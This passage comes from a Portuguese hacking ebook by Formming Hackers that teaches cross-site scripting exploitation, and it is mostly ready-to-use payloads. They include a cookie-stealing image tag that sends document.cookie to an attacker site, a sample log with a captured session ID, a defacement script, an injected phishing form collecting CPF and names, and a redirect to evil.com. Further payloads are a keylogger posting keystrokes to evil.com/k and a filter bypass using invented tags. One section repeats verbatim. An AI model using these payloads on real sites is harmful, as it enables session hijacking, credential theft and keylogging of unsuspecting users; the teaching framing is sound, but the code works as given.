seu exploit irá falhar, para resolver
isto basta colocar o sinal de +
codificado, então %2B.

Você deve estar pensando: "Ok, mas

onde eu consigo ver este Cookie
Roubado?"
R: Em seu Log HTTP.

Referência sobre LOGS HTTP:

https://medium.com/softifybd/what-
is-a-log-server-and-why-it-is-
important-ff1df13fac87

Ou seja: O Hacker irá abrir o arquivo

de Log HTTP no servidor dele e por lá
irá conseguir visualizar todos os
Cookies capturados, assim podendo
passar por exemplo para o Chamado
COOKIE HIJACKING / SESSION
Hijacking
(https://en.wikipedia.org/wiki/Sessi
on_hijacking).

Exemplo de um LOG HTTP com

Cookie de Sessão Capturado:

127.0.0.1 - - [08/Dec/2022:14:49:20
-0300] "GET /?
cookie=PHPSESSID=df1d9b14a9309a4
7cad4f98c73f3e748 HTTP/1.1" 302
Podemos variar este exploit
apresentado anteriormente,
observe:

Cookie Stealing por passar o mouse

em cima de uma Imagem:

<img
src="https://image.freepik.com/pre
mium-photo/hacker-with-laptop_23-
2147985341.jpg" onmouseover="var
imag=new Image;
imag.src='https://linkdositedohacke
r/?cookie='+document.cookie">

Esta variação do exploit acima foi

montada utilizando os chamados
EVENTOS JAVASCRIPT. Eles são muito
úteis em nossos exploits,
conseguimos nos divertir bastante
utilizando eles, variando nossos
exploits em maneiras diferentes.
Podemos variar este exploit
apresentado anteriormente,
observe:

Cookie Stealing por passar o mouse

em cima de uma Imagem:

<img
src="https://image.freepik.com/pre
mium-photo/hacker-with-laptop_23-
2147985341.jpg" onmouseover="var
imag=new Image;
imag.src='https://linkdositedohacke
r/?cookie='+document.cookie">

Esta variação do exploit acima foi

montada utilizando os chamados
EVENTOS JAVASCRIPT. Eles são muito
úteis em nossos exploits,
conseguimos nos divertir bastante
utilizando eles, variando nossos
exploits em maneiras diferentes.
Defacement por XSS:

<script>document.body.innerHTML="
<marquee><h1 style='color:
red;'>Hack3d by ForMm1nG
H4ck3rs</h1></marquee>";</script>

Ao injetar este script você irá

observar que conseguimos alterar a
aparência do site, injetando novas
Tags HTML, com isto podem surgir
ideias interessantes.

Imagine: O Hacker injetar um

formulário HTML malicioso por meio
disto para capturar dados, ou seja:
Uma ideia de Phishing/Tela Fake,
veja:
<script>document.body.innerHTML="
<form action='https://sitedohacker'
method='GET'>Digite seu CPF: <input
type='number'> Digite seu Nome
completo: <input type='text'> <input
type='submit'></form>";</script>

Neste exploit acima conseguimos

injetar um formulário malicioso
dentro da página vulnerável, isto
pode abrir diversas possibilidades de
aproveitamentos.

EXPLOIT - OPEN REDIRECT

<script>document.location='https://
evil.com';</script>

Com este exploit acima conseguimos

redirecionar a vítima para qualquer
outro site, basta alterar a URL,
observe o tamanho perigo disto,
podendo levar a vítima a sites
com más intenções.

Podíamos ficar aqui por longas

páginas criando exploits de XSS, mas
irei lhe mostrar algo interessante
como útimo explo, veja:

CROSS FRAME SCRIPTING

Link: https://owasp.org/www-
community/attacks/Cross_Frame_Sc
ripting

"...um ataque que combina o

JavaScript malicioso com um iframe
que carrega uma página legítima em
um esforço para roubar dados de um
usuário inocente. Esse ataque
geralmente é bem-sucedido quando
combinado com a engenharia
social..."

Código de exploit disponível em

OWASP:
<head>
<script>

var keystrokes = [];

document.onkeypress = function() {

keystrokes.push(window.event.key
Code);
}
second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST",
"http://evil.com/k");
xhr.send(keystrokes.join("+"));
}

keystrokes = [];
}, 1000);

function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new
ActiveXObject("MSXML2.XMLHTTP.3.
0");
}
</script>
</head>

<frameset onload="this.focus()"
onblur="this.focus()">

<frame
src="http://example.com/login.html
">
</frameset>

Veja este exploit acima que

interessante, tirando proveito de um
XSS para algo de ALTO IMPACTO,
imagine, carregar a página de login
oficial de gmail.com e por trás estar
capturando os dados ali inseridos...
BÔNUS:

BYPASS XSS POR FILTRAGEM DE TAGS

EM BLACK LIST

Algo interessante e curioso ao

mesmo tempo é que você consegue
"inventar tags HTML", tags que nem
existem. Dentro destas tags HTML
que você mesmo inventou, você
pode incluir aqueles eventos
Javascripts (onload, onclick,
onmouseover, onclick).

Por exemplo:

<formmingHackers
onclick="document.location='https:/
/evil.com'">Texto
Aleatório</formmingHackers>

Obviamente nunca existiu esta Tag

HTML, mas ainda sim ela será
interpretada e executada pelo
navegador.

Interessante não é? :)

Bom, chegamos ao final de nosso

Ebook.

A Formming Hackers espera ter

contribuído e ajudado você leitor
com este conhecimento aqui
passado. Desejamos muita sorte e
ótimos estudos a você! E claro,
convidamos você a ser nosso aluno!
:)

Acesse o link abaixo para mais

informações sobre os cursos da
Formming Hackers:
https://formminghackers.com
Sobre o Autor:

Ismael Oliveira - Fundador de

Formming Hackers, de Minas Gerais,
no ano que escreve este ebook
(2022) com 21 anos, estudante de
Segurança da Informação e Hacking
a mais de 6 anos.

LinkeDin:
https://linkedin.com/in/ismaelolivei
rapro/

Nota: A Formming Hackers (Ismael

Oliveira - Autor), não se
responsabiliza pelo mau uso do
conhecimento aqui passado neste
ebook. Este ebook foi escrito para
contribuir com Profissionais e
Estudantes de Segurança da
Informação e Hacking.